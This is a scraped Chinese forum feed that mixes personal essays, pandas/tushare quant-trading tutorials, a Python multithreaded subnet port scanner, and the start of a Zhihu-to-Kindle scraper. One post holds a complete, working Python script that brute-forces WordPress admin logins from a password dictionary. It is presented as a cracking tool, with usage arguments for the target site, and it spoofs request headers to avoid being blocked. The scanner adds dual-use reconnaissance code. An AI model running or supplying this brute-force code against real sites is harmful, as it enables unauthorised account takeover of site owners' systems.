如今小孩2岁了,当她好不容易请假回到老家看小孩时,发现自己的孩子跟城里的孩子相去甚远
不讲卫生
脾气暴躁
内心孤僻
更为严重的是,连自己的妈妈都不认识,在她婆婆的引导下,竟然把婶婶当做妈妈来喊
她内心隐隐作痛
心里咬着牙 要把小孩接到城里,和自己相处
可惜小孩早已习惯了奶奶,离不开奶奶了,一时之间无法强行让小孩也奶奶分开~
就这样又独自一人返回城里工作
可是她的心五味杂陈~
 
如果不是现实万般无奈
相信很少人会让自己的小孩成为留守儿童~
虽然很理解这位女同事的境遇,但内心泛起涟漪~
做父母的,是否就可以只管生,不管养呢
然后以工作的理由,就把小孩轻易丢给老人带呢
还是要尽自己最大努力,把小孩留在自己身边,一点一滴的教育呢
 
我自己也即将成为母亲了
看到这么多留守儿童的问题,我暗自下定决心
不管有多难
我都要陪着孩子一起长大~
 
 
 

30天学会量化交易模型 Day02

量化交易李魔佛 发表了文章 • 0 个评论 • 9036 次浏览 • 2016-05-17 16:30 • 来自相关话题

github同步代码: https://github.com/Rockyzsu/stock
 30天学会量化交易模型 Day01
 
接着上一篇,如果已经掌握了pandas数据类型的各种使用,就可以进入tushare数据的抓取环节。
 
tushare安装教程:
pip install tushare #最傻瓜且最快的安装方式
 
使用方法:





说明:
获取个股历史交易数据(包括均线数据),可以通过参数设置获取日k线、周k线、月k线,以及5分钟、15分钟、30分钟和60分钟k线数据。本接口只能获取近3年的日线数据,适合搭配均线数据进行选股和分析,如果需要全部历史数据,请调用下一个接口get_h_data()。

参数说明:

code:股票代码,即6位数字代码,或者指数代码(sh=上证指数 sz=深圳成指 hs300=沪深300指数 sz50=上证50 zxb=中小板 cyb=创业板)
start:开始日期,格式YYYY-MM-DD
end:结束日期,格式YYYY-MM-DD
ktype:数据类型,D=日k线 W=周 M=月 5=5分钟 15=15分钟 30=30分钟 60=60分钟,默认为D
retry_count:当网络异常后重试次数,默认为3
pause:重试时停顿秒数,默认为0

返回值说明:

date:日期
open:开盘价
high:最高价
close:收盘价
low:最低价
volume:成交量
price_change:价格变动
p_change:涨跌幅
ma5:5日均价
ma10:10日均价
ma20:20日均价
v_ma5:5日均量
v_ma10:10日均量
v_ma20:20日均量
turnover:换手率[注:指数无此项]
 
如果要获取所有的历史数据,可以使用 ts.get_h_data(股票代码,开始日期,结束日期) 即可。
 

ts.get_hist_data('600848',start='2015-01-05',end='2015-01-09')
 







 其它的一些参数:






 
接着学习数据的存储:
 
首先来扫一下盲: csv和excel的区别:

excel中后缀为csv和xls,二者区别如下:
1、xls 文件就是Microsoft excel电子表格的文件格式。
2、csv是最通用的一种文件格式,它可以非常容易地被导入各种PC表格及数据库中。 此文件,一行即为数据表的一行。生成数据表字段用半角逗号隔开。
csv是文本文件,用记事本就能打开,XLS是二进制的文件只有用EXCEL才能打
csv文件是以逗号为分隔符号,将各字段列分离出的一种ASCII文件。
csv(*.csv) 文件格式只能保存活动工作表中的单元格所显示的文本和数值。工作表中所有的数据行和字符都将保存。
数据列以逗号分隔,每一行数据都以回车符结束。如果单元格中包含逗号,则该单元格中的内容以双引号引起。

 

保存为csv格式







############################
获取股市市场的基本信息:
 
stock_info=ts.get_stock_basics()
 
包含了
"""
        获取沪深上市公司基本情况
    Return
    --------
    DataFrame
               code,代码
               name,名称
               industry,细分行业
               area,地区
               pe,市盈率
               outstanding,流通股本
               totals,总股本(万)
               totalAssets,总资产(万)
               liquidAssets,流动资产
               fixedAssets,固定资产
               reserved,公积金
               reservedPerShare,每股公积金
               eps,每股收益
               bvps,每股净资
               pb,市净率
               timeToMarket,上市日期
    """
 
获取所有股市的代码:
stock_info=ts.get_stock_basics()
def get_all_stock_id():
#获取所有股票代码
for i in stock_info.index:
print i
 


下一篇:30天学会量化交易模型 Day03
链接:http://30daydo.com/article/15 

 

  查看全部
github同步代码: https://github.com/Rockyzsu/stock
 30天学会量化交易模型 Day01
 
接着上一篇,如果已经掌握了pandas数据类型的各种使用,就可以进入tushare数据的抓取环节。
 
tushare安装教程:
pip install tushare #最傻瓜且最快的安装方式
 
使用方法:
TuShare_-财经数据接口包.jpg


说明:
获取个股历史交易数据(包括均线数据),可以通过参数设置获取日k线、周k线、月k线,以及5分钟、15分钟、30分钟和60分钟k线数据。本接口只能获取近3年的日线数据,适合搭配均线数据进行选股和分析,如果需要全部历史数据,请调用下一个接口get_h_data()。

参数说明:

code:股票代码,即6位数字代码,或者指数代码(sh=上证指数 sz=深圳成指 hs300=沪深300指数 sz50=上证50 zxb=中小板 cyb=创业板)
start:开始日期,格式YYYY-MM-DD
end:结束日期,格式YYYY-MM-DD
ktype:数据类型,D=日k线 W=周 M=月 5=5分钟 15=15分钟 30=30分钟 60=60分钟,默认为D
retry_count:当网络异常后重试次数,默认为3
pause:重试时停顿秒数,默认为0

返回值说明:

date:日期
open:开盘价
high:最高价
close:收盘价
low:最低价
volume:成交量
price_change:价格变动
p_change:涨跌幅
ma5:5日均价
ma10:10日均价
ma20:20日均价
v_ma5:5日均量
v_ma10:10日均量
v_ma20:20日均量
turnover:换手率[注:指数无此项]
 
如果要获取所有的历史数据,可以使用 ts.get_h_data(股票代码,开始日期,结束日期) 即可。
 

ts.get_hist_data('600848',start='2015-01-05',end='2015-01-09')
 

所有数据.jpg



 其它的一些参数:

TuShare_-财经数据接口包1.jpg


 
接着学习数据的存储:
 
首先来扫一下盲: csv和excel的区别:


excel中后缀为csv和xls,二者区别如下:
1、xls 文件就是Microsoft excel电子表格的文件格式。
2、csv是最通用的一种文件格式,它可以非常容易地被导入各种PC表格及数据库中。 此文件,一行即为数据表的一行。生成数据表字段用半角逗号隔开。
csv是文本文件,用记事本就能打开,XLS是二进制的文件只有用EXCEL才能打
csv文件是以逗号为分隔符号,将各字段列分离出的一种ASCII文件。
csv(*.csv) 文件格式只能保存活动工作表中的单元格所显示的文本和数值。工作表中所有的数据行和字符都将保存。
数据列以逗号分隔,每一行数据都以回车符结束。如果单元格中包含逗号,则该单元格中的内容以双引号引起。


 

保存为csv格式

cvs.jpg



############################
获取股市市场的基本信息:
 
stock_info=ts.get_stock_basics()
 
包含了
"""
        获取沪深上市公司基本情况
    Return
    --------
    DataFrame
               code,代码
               name,名称
               industry,细分行业
               area,地区
               pe,市盈率
               outstanding,流通股本
               totals,总股本(万)
               totalAssets,总资产(万)
               liquidAssets,流动资产
               fixedAssets,固定资产
               reserved,公积金
               reservedPerShare,每股公积金
               eps,每股收益
               bvps,每股净资
               pb,市净率
               timeToMarket,上市日期
    """
 
获取所有股市的代码:
stock_info=ts.get_stock_basics()
def get_all_stock_id():
#获取所有股票代码
for i in stock_info.index:
print i

 


下一篇:30天学会量化交易模型 Day03
链接:http://30daydo.com/article/15 

 

 

女生30岁~

默认分类xenia 发表了文章 • 0 个评论 • 492 次浏览 • 2016-05-17 12:01 • 来自相关话题

最近
一位女性好友失恋,恰逢30岁,这个年龄在中国社会是一个大龄剩女的坎,心急如焚的坎
突然间4年的感情不翼而飞,而后深夜买醉,少了一个人在身边,让她觉得异常孤单
哭过,卑微挽留过
剩下仅存骄傲让她咬着一股气,马不停蹄的开始报名各大交友网站,下班后积极参加各式交友俱乐部的交友活动
只要遇到不会心生讨厌的男生,就开始加微信,交换电话,私聊热聊
到处撒网
她说:不知何时,感觉自己成了一个结婚狂,怕自己30以后没人要了”~
 
我特别理解她的感受,曾经我也在28岁失恋后,心急如焚过~
而当我29岁时,在一个陌生的城市,遇到了生命中的他(这些都不是我能预计的)
幸福就像命中注定的出现了~
所以作为过来人,我只能安慰和鼓励她“ 亲爱的,请相信属于你的缘分是一定存在的”
这句轻描淡写的话,不知道对她有没有任何温暖的作用
但是在中国这样一个社会,看到一个30岁的女生为了把自己嫁出去,作出的不懈努力,看到她每次开心地和我分享找到潜在发展的对象时,作为朋友的我,除了祝福外,能给的就是深深的拥抱~然后跟她说“只要你幸福就好”~
 
 
 
 
 
 
 
 
 
 
    
 
 
     
 
  
  查看全部
最近
一位女性好友失恋,恰逢30岁,这个年龄在中国社会是一个大龄剩女的坎,心急如焚的坎
突然间4年的感情不翼而飞,而后深夜买醉,少了一个人在身边,让她觉得异常孤单
哭过,卑微挽留过
剩下仅存骄傲让她咬着一股气,马不停蹄的开始报名各大交友网站,下班后积极参加各式交友俱乐部的交友活动
只要遇到不会心生讨厌的男生,就开始加微信,交换电话,私聊热聊
到处撒网
她说:不知何时,感觉自己成了一个结婚狂,怕自己30以后没人要了”~
 
我特别理解她的感受,曾经我也在28岁失恋后,心急如焚过~
而当我29岁时,在一个陌生的城市,遇到了生命中的他(这些都不是我能预计的)
幸福就像命中注定的出现了~
所以作为过来人,我只能安慰和鼓励她“ 亲爱的,请相信属于你的缘分是一定存在的”
这句轻描淡写的话,不知道对她有没有任何温暖的作用
但是在中国这样一个社会,看到一个30岁的女生为了把自己嫁出去,作出的不懈努力,看到她每次开心地和我分享找到潜在发展的对象时,作为朋友的我,除了祝福外,能给的就是深深的拥抱~然后跟她说“只要你幸福就好”~
 
 
 
 
 
 
 
 
 
 
    
 
 
     
 
  
 

30天学会量化交易模型 Day01

量化交易李魔佛 发表了文章 • 3 个评论 • 33146 次浏览 • 2016-05-16 16:14 • 来自相关话题

Day 01 ---- Pandas
 github同步代码: https://github.com/Rockyzsu/stock

 本人是一个会一点pyhton语言的菜鸟,对量化交易很好奇,准备在30天内学会量化交易。每天更新一篇文章,视乎个人每天宽裕的时间有多少,时间多就多写点,如果时间仓促就可能写的粗略一些,但每天都会坚持去写。
 
第一天
首先要找到获取股票市场的数据来源,python支持几个股票接口。 个人采用tushare。
 
 
对于tushare,使用最多的数据类型就是pandas中的DataFrame了。
 
对于pandas,这里有一个10分钟过入门的,作为过来人,看过后觉得很不错,推荐大家去看。
http://www.cnblogs.com/chaosimple/p/4153083.html
 

 
创建对象
可以通过 Data Structure Intro Setion 来查看有关该节内容的详细信息。

1、可以通过传递一个list对象来创建一个Series,pandas会默认创建整型索引:
 

 
通过传递一个numpy array,时间索引以及列标签来创建一个DataFrame:
 

 
通过传递一个能够被转换成类似序列结构的字典对象来创建一个DataFrame:
 

 
查看不同列的数据类型:
 

 
 
查看数据
 
查看frame中头部和尾部的行:

显示索引、列和底层的numpy数据:
 

 
describe()函数对于数据的快速统计汇总:
 

 
 对数据的转置:
 

 
选择
 
选择一个单独的列,这将会返回一个Series,等同于df.A:
 

 
通过进行选择,这将会对行进行切片
 

 
 使用标签来获取一个交叉的区域
 

 
 
通过位置选择
 
通过传递数值进行位置选择(选择的是行)
 

 
通过数值进行切片,与numpy/python中的情况类似
 

 
通过指定一个位置的列表,与numpy/python中的情况类似
 

 
获取特定的值
 

 
布尔索引
 
使用一个单独列的值来选择数据:

 
相关操作
 
  统计(相关操作通常情况下不包括缺失值)
 
执行描述性统计:
 

 
 
Pandas读取excel数据:#-*-coding=utf-8-*-
__author__ = 'rocky'
import pandas as pd
import numpy as np
def excel_op():
df=pd.read_excel("mystock.xls")
print df.head()

excel_op()(前提是需要安装xlrd 一个python对excel操作的包)
 






pandas中有Nan的非法数据,需要怎样处理呢?
 
可以使用 
code=code.fillna(0)
这个fillna(0) 函数,用来填充NaN的部分。 
 
填充后是这样子的:






这样对数据进行遍历的时候就可以通过 if data !=0 来判断是非非法。 因为没有其他表达式可以判断NaN
 
 
对于一些超大的excel或者csv文件,怎样读才能提高效率呢 ?
 df = pd.read_csv('test.csv', chunksize=10000)
for chunk in df:
# TODO: process the chunk as a normal DataFrame上面的参数就把csv文件分割为10000份,然后每份进行处理。
 
 
对dataframe的每一行进行遍历:
for index,row in df.iterrows():
print row[u'代码'],row[u'资金发生数']上面的代码会循环输出每一行的 “代码”列和“资金发生数”列。
 
 


 下一篇:30天学会量化交易模型 Day02
http://30daydo.com/article/13
  查看全部
Day 01 ---- Pandas
 github同步代码: https://github.com/Rockyzsu/stock

 本人是一个会一点pyhton语言的菜鸟,对量化交易很好奇,准备在30天内学会量化交易。每天更新一篇文章,视乎个人每天宽裕的时间有多少,时间多就多写点,如果时间仓促就可能写的粗略一些,但每天都会坚持去写。
 
第一天
首先要找到获取股票市场的数据来源,python支持几个股票接口。 个人采用tushare。
 
 
对于tushare,使用最多的数据类型就是pandas中的DataFrame了。
 
对于pandas,这里有一个10分钟过入门的,作为过来人,看过后觉得很不错,推荐大家去看。
http://www.cnblogs.com/chaosimple/p/4153083.html
 

 
创建对象
可以通过 Data Structure Intro Setion 来查看有关该节内容的详细信息。

1、可以通过传递一个list对象来创建一个Series,pandas会默认创建整型索引:
 

 
通过传递一个numpy array,时间索引以及列标签来创建一个DataFrame:
 

 
通过传递一个能够被转换成类似序列结构的字典对象来创建一个DataFrame:
 

 
查看不同列的数据类型:
 

 
 
查看数据
 
查看frame中头部和尾部的行:

显示索引、列和底层的numpy数据:
 

 
describe()函数对于数据的快速统计汇总:
 

 
 对数据的转置:
 

 
选择
 
选择一个单独的列,这将会返回一个Series,等同于df.A:
 

 
通过进行选择,这将会对行进行切片
 

 
 使用标签来获取一个交叉的区域
 

 
 
通过位置选择
 
通过传递数值进行位置选择(选择的是行)
 

 
通过数值进行切片,与numpy/python中的情况类似
 

 
通过指定一个位置的列表,与numpy/python中的情况类似
 

 
获取特定的值
 

 
布尔索引
 
使用一个单独列的值来选择数据:

 
相关操作
 
  统计(相关操作通常情况下不包括缺失值)
 
执行描述性统计:
 

 
 
Pandas读取excel数据:
#-*-coding=utf-8-*-
__author__ = 'rocky'
import pandas as pd
import numpy as np
def excel_op():
df=pd.read_excel("mystock.xls")
print df.head()

excel_op()
(前提是需要安装xlrd 一个python对excel操作的包)
 

pandas1.PNG


pandas中有Nan的非法数据,需要怎样处理呢?
 
可以使用 
code=code.fillna(0)
这个fillna(0) 函数,用来填充NaN的部分。 
 
填充后是这样子的:

pandas2.PNG


这样对数据进行遍历的时候就可以通过 if data !=0 来判断是非非法。 因为没有其他表达式可以判断NaN
 
 
对于一些超大的excel或者csv文件,怎样读才能提高效率呢 ?
 
df = pd.read_csv('test.csv', chunksize=10000)
for chunk in df:
# TODO: process the chunk as a normal DataFrame
上面的参数就把csv文件分割为10000份,然后每份进行处理。
 
 
对dataframe的每一行进行遍历:
    for index,row in df.iterrows():
print row[u'代码'],row[u'资金发生数']
上面的代码会循环输出每一行的 “代码”列和“资金发生数”列。
 
 


 下一篇:30天学会量化交易模型 Day02
http://30daydo.com/article/13
 

某周一早上

30天新尝试xenia 发表了文章 • 0 个评论 • 536 次浏览 • 2016-05-16 11:02 • 来自相关话题

某周一的早上,在饭桌上望着闹钟懒洋洋啃着早餐,想着离周五还那么遥远,总有一种崩溃的感觉;任重而道远...习惯开手机,刷微信,不喜欢点赞,不习惯评论,那些晒吃晒喝,晒娃晒照骗的,每天上演,无聊至及;这是无法拒绝的朋友圈...
 
突然看到朋友圈里一条这样的信息:
“一名杀人犯被判死刑。他必须选择三个房间中的一个受死。第一个房间里燃烧着熊熊烈火。第二个房间里全是刺客,手里都拿着上了子弹的枪。而第三个房间则塞满了3年没有进食的狮子。哪一个房间对他来说比较安全呢?”
 
嘿嘿,这第一反应是进哪个房间都必死无疑啊~ 请问你是这么想的吗,我承认我是的~
哈,提示扫描二维码,关注后有答案,好奇害死猫,还是傻愣愣的关注了,运营商就这样圈了我这样一个粉,连看个朋友圈都要成为粉,当今世道不是粉貌似都不能活了~
 
好吧,分析说“死胡同的思维,让我们忘记了 3年没进食的狮子,咋还能起来吃人呢?” 
 
突然不明觉厉~脑袋清醒了很多,尽管面对崩溃的周一,还得去上班啊~
 
 
 
 
 
 
 
 
 
 
 
 
 
  查看全部
某周一的早上,在饭桌上望着闹钟懒洋洋啃着早餐,想着离周五还那么遥远,总有一种崩溃的感觉;任重而道远...习惯开手机,刷微信,不喜欢点赞,不习惯评论,那些晒吃晒喝,晒娃晒照骗的,每天上演,无聊至及;这是无法拒绝的朋友圈...
 
突然看到朋友圈里一条这样的信息:
“一名杀人犯被判死刑。他必须选择三个房间中的一个受死。第一个房间里燃烧着熊熊烈火。第二个房间里全是刺客,手里都拿着上了子弹的枪。而第三个房间则塞满了3年没有进食的狮子。哪一个房间对他来说比较安全呢?”
 
嘿嘿,这第一反应是进哪个房间都必死无疑啊~ 请问你是这么想的吗,我承认我是的~
哈,提示扫描二维码,关注后有答案,好奇害死猫,还是傻愣愣的关注了,运营商就这样圈了我这样一个粉,连看个朋友圈都要成为粉,当今世道不是粉貌似都不能活了~
 
好吧,分析说“死胡同的思维,让我们忘记了 3年没进食的狮子,咋还能起来吃人呢?” 
 
突然不明觉厉~脑袋清醒了很多,尽管面对崩溃的周一,还得去上班啊~
 
 
 
 
 
 
 
 
 
 
 
 
 
 

python 多线程扫描开放端口

python低调的哥哥 发表了文章 • 0 个评论 • 2709 次浏览 • 2016-05-15 21:15 • 来自相关话题

为什么说python是黑客的语言? 因为很多扫描+破解的任务都可以用python很快的实现,简洁明了。且有大量的库来支持。import socket,sys
import time
from thread_test import MyThread

socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间,超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num

def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False


def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)

if len(sys.argv)<3:
print "input ip and port"
exit()

ip_head=sys.argv[1]
port=int(sys.argv[2])


ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)

threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞,防止主线程退出了,其他的多线程还在运行

print "*****end*****"多线程的类函数实现: 有一些测试函数在上面没注释或者删除掉,为了让一些初学者更加容易看懂。import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()

def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()


class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result

def run(self):
self.result=apply(self.fun,self.arg)

def getResult(self):
return self.result

def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)


def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)

def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)

def single_thread():
print fib(12)
print sum(12)
print fab(12)


def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()

for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()
 
最终运行的格式就是  python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器,也就是ssh服务。 
 
github:https://github.com/Rockyzsu/scan_host​ 

  查看全部
为什么说python是黑客的语言? 因为很多扫描+破解的任务都可以用python很快的实现,简洁明了。且有大量的库来支持。
import socket,sys
import time
from thread_test import MyThread

socket.setdefaulttimeout(1)
#设置每个线程socket的timeou时间,超过1秒没有反应就认为端口不开放
thread_num=4
#线程数目
ip_end=256
ip_start=0
scope=ip_end/thread_num

def scan(ip_head,ip_low, port):
try:
# Alert !!! below statement should be inside scan function. Else each it is one s
ip=ip_head+str(ip_low)
print ip
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((ip, port))
#通过这一句判断 是否连通
s.close()
print "ip %s port %d open\n" %(ip,port)
return True
except:
return False


def scan_range(ip_head,ip_range,port):
start,end=ip_range
for i in range(start,end):
scan(ip_head,i,port)

if len(sys.argv)<3:
print "input ip and port"
exit()

ip_head=sys.argv[1]
port=int(sys.argv[2])


ip_range=
for i in range(thread_num):
x_range=[i*scope,(i+1)*scope-1]
ip_range.append(x_range)

threads=
for i in range(thread_num):
t=MyThread(scan_range,(ip_head,ip_range,port))
threads.append(t)
for i in range(thread_num):
threads.start()
for i in range(thread_num):
threads.join()
#设置进程阻塞,防止主线程退出了,其他的多线程还在运行

print "*****end*****"
多线程的类函数实现: 有一些测试函数在上面没注释或者删除掉,为了让一些初学者更加容易看懂。
import thread,threading,time,datetime
from time import sleep,ctime
def loop1():
print "start %s " %ctime()
print "start in loop1"
sleep(3)
print "end %s " %ctime()

def loop2():
print "sart %s " %ctime()
print "start in loop2"
sleep(6)
print "end %s " %ctime()


class MyThread(threading.Thread):
def __init__(self,fun,arg,name=""):
threading.Thread.__init__(self)
self.fun=fun
self.arg=arg
self.name=name
#self.result

def run(self):
self.result=apply(self.fun,self.arg)

def getResult(self):
return self.result

def fib(n):
if n<2:
return 1
else:
return fib(n-1)+fib(n-2)


def sum(n):
if n<2:
return 1
else:
return n+sum(n-1)

def fab(n):
if n<2:
return 1
else:
return n*fab(n-1)

def single_thread():
print fib(12)
print sum(12)
print fab(12)


def multi_thread():
print "in multithread"
fun_list=[fib,sum,fab]
n=len(fun_list)
threads=
count=12
for i in range(n):
t=MyThread(fun_list,(count,),fun_list.__name__)
threads.append(t)
for i in range(n):
threads.start()

for i in range(n):
threads.join()
result= threads.getResult()
print result
def main():
'''
print "start at main"
thread.start_new_thread(loop1,())
thread.start_new_thread(loop2,())
sleep(10)
print "end at main"
'''
start=ctime()
#print "Used %f" %(end-start).seconds
print start
single_thread()
end=ctime()
print end
multi_thread()
#print "used %s" %(end-start).seconds
if __name__=="__main__":
main()

 
最终运行的格式就是  python scan_host.py 192.168.1. 22
上面的命令就是扫描192.168.1 ip段开启了22端口服务的机器,也就是ssh服务。 
 
github:https://github.com/Rockyzsu/scan_host​ 

 

如何在电脑使用网线直连树莓派? 树莓派没有连接显示器

树莓派低调的哥哥 回复了问题 • 2 人关注 • 1 个回复 • 2509 次浏览 • 2016-05-14 13:02 • 来自相关话题

python 暴力破解wordpress博客后台登陆密码

python爬虫低调的哥哥 发表了文章 • 0 个评论 • 7813 次浏览 • 2016-05-13 17:49 • 来自相关话题

自己曾经折腾过一阵子wordpress的博客,说实话,wordpress在博客系统里面算是功能很强大的了,没有之一。
不过用wordpress的朋友可能都是贪图方便,很多设置都使用的默认,我之前使用的某一个wordpress版本中,它的后台没有任何干扰的验证码(因为它默认给用户关闭了,需要自己去后台开启,一般用户是使用缺省设置)。
 






所以只要使用python+urllib库,就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
 
所以以后用wordpress的博客用户,平时还是把图片验证码的功能开启,怎样安全性会高很多。(其实python也带有一个破解一个验证码的库  - 。-!)# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys


class wordpress():
def __init__(self, host, username):
#初始化定义 header ,避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))


def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件,密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break

data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串,如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码, 则这次任务完成,退出程序
exit()
break

pwd.close()

except Exception, e:
print "error"
print e
print "Error in reading password"


if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数,为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()





 
github源码:https://github.com/Rockyzsu/crashWordpressPassword
  查看全部
自己曾经折腾过一阵子wordpress的博客,说实话,wordpress在博客系统里面算是功能很强大的了,没有之一。
不过用wordpress的朋友可能都是贪图方便,很多设置都使用的默认,我之前使用的某一个wordpress版本中,它的后台没有任何干扰的验证码(因为它默认给用户关闭了,需要自己去后台开启,一般用户是使用缺省设置)。
 

wordpress后台.PNG


所以只要使用python+urllib库,就可以循环枚举出用户的密码。而用户名在wordpress博客中就是博客发布人的名字。
 
所以以后用wordpress的博客用户,平时还是把图片验证码的功能开启,怎样安全性会高很多。(其实python也带有一个破解一个验证码的库  - 。-!)
# coding=utf-8
# 破解wordpress 后台用户密码
import urllib, urllib2, time, re, cookielib,sys


class wordpress():
def __init__(self, host, username):
#初始化定义 header ,避免被服务器屏蔽
self.username = username
self.http="http://"+host
self.url = self.http + "/wp-login.php"
self.redirect = self.http + "/wp-admin/"
self.user_agent = 'Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0)'
self.referer=self.http+"/wp-login.php"
self.cook="wordpress_test_cookie=WP+Cookie+check"
self.host=host
self.headers = {'User-Agent': self.user_agent,"Cookie":self.cook,"Referer":self.referer,"Host":self.host}
self.cookie = cookielib.CookieJar()
self.opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(self.cookie))


def crash(self, filename):
try:
pwd = open(filename, 'r')
#读取密码文件,密码文件中密码越多破解的概率越大
while 1 :
i=pwd.readline()
if not i :
break

data = urllib.urlencode(
{"log": self.username, "pwd": i.strip(), "testcookie": "1", "redirect_to": self.redirect})
Req = urllib2.Request(url=self.url, data=data, headers=self.headers)
#构造好数据包之后提交给wordpress网站后台
Resp = urllib2.urlopen(Req)
result = Resp.read()
# print result
login = re.search(r'login_error', result)
#判断返回来的字符串,如果有login error说明失败了。
if login:
pass
else:
print "Crashed! password is %s %s" % (self.username,i.strip())
g=open("wordpress.txt",'w+')
g.write("Crashed! password is %s %s" % (self.username,i.strip()))
pwd.close()
g.close()
#如果匹配到密码, 则这次任务完成,退出程序
exit()
break

pwd.close()

except Exception, e:
print "error"
print e
print "Error in reading password"


if __name__ == "__main__":
print "begin at " + time.ctime()
host=sys.argv[1]
#url = "http://"+host
#给程序提供参数,为你要破解的网址
user = sys.argv[2]
dictfile=sys.argv[3]
#提供你事先准备好的密码文件
obj = wordpress(host, user)
#obj.check(dictfile)
obj.crash(dictfile)
#obj.crash_v()
print "end at " + time.ctime()





 
github源码:https://github.com/Rockyzsu/crashWordpressPassword
 

树莓派搭建ftp服务器 vsftpd 无法上传文件?

网络安全低调的哥哥 回复了问题 • 2 人关注 • 1 个回复 • 1252 次浏览 • 2016-05-13 16:34 • 来自相关话题

python爬虫 模拟登陆知乎 推送知乎文章到kindle电子书 获取自己的关注问题

python爬虫低调的哥哥 发表了文章 • 0 个评论 • 21531 次浏览 • 2016-05-12 17:53 • 来自相关话题

平时逛知乎,上班的时候看到一些好的答案,不过由于答案太长,没来得及看完,所以自己写了个python脚本,把自己想要的答案抓取下来,并且推送到kindle上,下班后用kindle再慢慢看。 平时喜欢的内容也可以整理成电子书抓取下来,等周末闲时看。
 
#2016-08-19更新:
添加了模拟登陆知乎的模块,自动获取自己的关注的问题id,然后把这些问题的所有答案抓取下来推送到kindle











# -*-coding=utf-8-*-
__author__ = 'Rocky'
# -*-coding=utf-8-*-
from email.mime.text import MIMEText
from email.mime.multipart import MIMEMultipart
import smtplib
from email import Encoders, Utils
import urllib2
import time
import re
import sys
import os

from bs4 import BeautifulSoup

from email.Header import Header

reload(sys)
sys.setdefaultencoding('utf-8')


class GetContent():
def __init__(self, id):

# 给出的第一个参数 就是你要下载的问题的id
# 比如 想要下载的问题链接是 https://www.zhihu.com/question/29372574
# 那么 就输入 python zhihu.py 29372574

id_link = "/question/" + id
self.getAnswer(id_link)

def save2file(self, filename, content):
# 保存为电子书文件
filename = filename + ".txt"
f = open(filename, 'a')
f.write(content)
f.close()

def getAnswer(self, answerID):
host = "http://www.zhihu.com"
url = host + answerID
print url
user_agent = "Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)"
# 构造header 伪装一下
header = {"User-Agent": user_agent}
req = urllib2.Request(url, headers=header)

try:
resp = urllib2.urlopen(req)
except:
print "Time out. Retry"
time.sleep(30)
# try to switch with proxy ip
resp = urllib2.urlopen(req)
# 这里已经获取了 网页的代码,接下来就是提取你想要的内容。 使用beautifulSoup 来处理,很方便
try:
bs = BeautifulSoup(resp)

except:
print "Beautifulsoup error"
return None

title = bs.title
# 获取的标题

filename_old = title.string.strip()
print filename_old
filename = re.sub('[\/:*?"<>|]', '-', filename_old)
